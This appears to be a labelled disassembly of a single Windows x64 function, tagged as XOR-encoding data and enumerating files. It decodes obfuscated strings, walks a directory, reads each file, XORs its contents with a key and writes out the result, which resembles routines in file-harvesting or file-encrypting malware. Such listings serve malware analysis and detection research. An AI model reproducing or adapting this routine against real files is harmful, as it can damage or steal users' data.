Function at 0x14011d680
Capabilities:
Encode data using xor
Enumerate files on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.140126670
mov rcx, rbx
call fcn.140126ab0
mov rcx, rbx
call fcn.14011d010
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x14011d680
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1510]
mov eax, 0x1610
call fcn.140220d40
sub rsp, rax
mov rax, qword [0x1402e8018]
xor rax, rsp
mov qword [rbp + 0x1500], rax
mov r12, rcx
mov qword [rbp - 0x80], rcx
xor ebx, ebx
mov dword [rsp + 0x54], ebx
movabs rax, 0x625e8dff0107c44a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x40], rax
movabs rax, 0x6a96a746c7063baa
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x38], rax
movabs rax, 0x82e2b75c21249bfa
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x30], rax
movabs rax, 0x8138c01387402108
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x28], rax
movabs rax, 0x77414aba23e90b95
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x20], rax
movabs rax, 0x480e116680edcded
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x18], rax
movabs rax, 0x2b1ce20452b57274
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x10], rax
movabs rax, 0x2be9ea83943e399c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 8], rax
movabs rax, 0xf761218c942ce9ae
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp], rax
movabs rax, 0x80cc06819849de22
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 8], rax
movabs rax, 0x3efc06ae06a6cc97
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x10], rax
movabs rax, 0x90e8e83b03aea244
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x18], rax
movabs rax, 0xbf5d5eaaf5c3ad45
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x20], rax
movabs rcx, 0xe0b43ce70d4f3e14
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x28], rax
movabs r15, 0xa2df8966e73b723
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x490], rax
movabs r14, 0x2ffd433a0694ed8
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x498], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4a0], rax
movabs r13, 0xf451ae79e8295462
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4a8], rax
movabs rdi, 0x1f3423d245886ee7
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4b0], rax
movabs rsi, 0x3a66770ff59fab8c
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x427a886021da1401
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x429e80e5fd4e4ef6
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x994f42eee24187cb
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4d0], rax
movabs rax, 0xe7b86febec3bae40
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x579673cc68c4a2e5
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4e0], rax
movabs rax, 0xff8d9f5171c1cb2a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4e8], rax
movabs rax, 0xbf5d5eaaf5c3c42f
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4f0], rax
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x4f8], rax
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0x490]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
pxor xmm1, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x10]
pxor xmm1, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], rbx
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14011da30
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x180]
call fcn.140034050
nop
movabs rax, 0x6f419dc43212c24f
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x60], rax
movabs rax, 0x709c8713c40c3db9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x58], rax
movabs rax, 0xed8bc26821259ff4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x48], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x440], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x448], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x450], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x458], rax
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
pxor xmm1, xmmword [rbp + 0x450]
movdqa xmmword [rbp - 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x178], rbx
lea rax, [rbp - 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14011db35
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x160]
call fcn.140034050
nop
movabs rax, 0xa2df8f31e1b9909
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x68], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x430], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x438], rax
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [rbp - 0x70]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x14011dbb5
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rdx, qword [rbp + 0x170]
sub rax, rdx
cmp rax, rcx
jb 0x14011e466
lea r9, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r9, qword [rbp + 0x160]
mov qword [rsp + 0x30], rcx
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x160]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140036010
mov r15d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], r15
cmovae rcx, qword [rbp + 0x30]
lea rdx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x30]
call fcn.1400341f0
cmp rbx, 0xffffffffffffffff
jne 0x14011ddf2
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], r15
cmovae rdx, qword [rbp + 0x160]
movabs rax, 0x4b60d8d73b3fec03
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x400], rax
movabs rax, 0x2fdf8961e52e0f96
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x408], rax
movabs rax, 0xcdcf87781b10a9bd
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x410], rax
movabs rax, 0xd415e030ae091b36
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x418], rax
movabs rax, 0x3f0e719701c421a1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x420], rax
movabs rax, 0x3a66770ff595d8a9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x428], rax
movabs rax, 0xa2df8966e73b723
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x460], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x468], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x470], rax
movabs rax, 0xf451ae79e8295462
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x478], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x488], rax
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm1, xmmword [rbp + 0x410]
pxor xmm1, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x420], xmm0
lea rcx, [rbp + 0x400]
call fcn.140033de0
jmp 0x14011e41d
mov rdi, qword [rbp + 0x198]
mov rsi, qword [rbp + 0x190]
mov r14, qword [rbp + 0x180]
movzx ebx, byte [rsp + 0x50]
nop dword [rax]
lea rax, [rbp + 0x2ec]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x14011de20
mov rax, r13
mov rdx, qword [rbp + 0x170]
sub rax, rdx
cmp rax, rcx
jb 0x14011e46c
lea r9, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r9, qword [rbp + 0x160]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x2ec]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x160]
movzx edx, bl
lea rcx, [rbp + 0x1a0]
call fcn.140036010
or r15d, 2
mov dword [rsp + 0x54], r15d
call fcn.1401f5300
mov r13, rax
mov qword [rsp + 0x48], rax
mov rdx, rax
mov rcx, r12
call fcn.14011e480
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae rdx, qword [rbp + 0x1a0]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x50]
call fcn.14003eb30
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x50], r12
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x4c], edx
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x14011e2b6
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1402aed30]
mov qword [rbp + 0x1c0], rax
lea rax, [0x1402aed28]
mov qword [rbp + 0x1d0], rax
lea rcx, [rbp + 0x258]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r15d, 4
mov dword [rsp + 0x54], r15d
xor r8d, r8d
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x1d8], rax
xor r12d, r12d
mov qword [rbp + 0x240], r12
mov dword [rbp + 0x248], r12d
mov r8d, 0x1000
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14011e096
nop dword [rax]
lea rcx, [rbp + 0x500]
mov r9, r12
mov r10d, 0x1000
lea r8, [rbp + 0x180]
cmp rdi, 0x10
cmovae r8, r14
xor edx, edx
mov rax, r9
div rsi
movzx eax, byte [rcx]
xor al, byte [rdx + r8]
mov byte [rcx], al
inc r9
lea rcx, [rcx + 1]
sub r10, 1
jne 0x14011e020
mov r8d, 0x1000
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8d, 0x1000
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14011e010
mov r11, qword [rbp + 0x58]
test r11d, r11d
jle 0x14011e0de
lea r8, [rbp + 0x500]
mov r9, r12
mov r10d, r11d
nop dword [rax]
lea rcx, [rbp + 0x180]
cmp rdi, 0x10
cmovae rcx, r14
xor edx, edx
mov rax, r9
div rsi
movzx eax, byte [r8]
xor al, byte [rdx + rcx]
mov byte [r8], al
inc r9
lea r8, [r8 + 1]
sub r10, 1
jne 0x14011e0b0
movsxd r8, r11d
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x60]
call fcn.14003eef0
test rax, rax
jne 0x14011e11f
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1d8]
call fcn.140078110
or r15d, 9
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
mov rcx, r13
call fcn.1401f5220
test eax, eax
jne 0x14011e175
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor edx, edx
lea r8d, [rax - 1]
mov rcx, r13
call fcn.1401f2d10
test eax, eax
jne 0x14011e175
xor r12b, r12b
jmp 0x14011e178
mov r12b, 1
test r15b, 1
je 0x14011e18c
and r15d, 0xfffffffe
lea rcx, [rsp + 0x60]
call fcn.1400341f0
test r12b, r12b
jne 0x14011e1d5
mov rcx, r13
call fcn.1401f2a00
test eax, eax
jg 0x14011e1d5
mov r12, qword [rbp - 0x80]
lea rcx, [r12 + 0x98]
mov rdx, qword [r12 + 0xa0]
cmp rdx, qword [r12 + 0xa8]
je 0x14011e1c9
mov qword [rdx], r13
add qword [r12 + 0xa0], 8
jmp 0x14011e1e1
lea r8, [rsp + 0x48]
call fcn.14012b850
jmp 0x14011e1e1
mov rcx, r13
call fcn.1401f6b70
mov r12, qword [rbp - 0x80]
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d8]
call fcn.140079290
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x258]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x50], rax
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x4c], edx
lea rcx, [rbp + 0x60]
call fcn.14003eac0
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400341f0
lea rdx, [rbp + 0x2c0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x14011e41d
movabs r13, 0x7fffffffffffffff
jmp 0x14011de10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7a42d8e40101c566
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
movabs rax, 0x6c96f454ce0020bd
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x68], rax
movabs rax, 0x88e7ab5272259aed
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x70], rax
movabs rax, 0xf451ae79e829544c
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x78], rax
movabs rax, 0xa2df8966e73b723
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x400], rax
movabs rax, 0x2ffd433a0694ed8
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x408], rax
movabs rax, 0xed8bc2345251ef9d
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x410], rax
movabs rax, 0xf451ae79e8295462
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x418], rax
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x410]
pxor xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea rdx, [rsp + 0x60]
call fcn.14003f200
lea rdx, [0x14003f3d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x50], r12
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x4c], edx
lea rcx, [rbp + 0x60]
call fcn.14003eac0
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400341f0
nop
lea rcx, [rbp + 0x160]
call fcn.1400341f0
nop
lea rcx, [rbp + 0x180]
call fcn.1400341f0
mov rcx, qword [rbp + 0x1500]
xor rcx, rsp
call fcn.140220090
lea r11, [rsp + 0x1610]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140033e50
nop
call fcn.140033e50
int3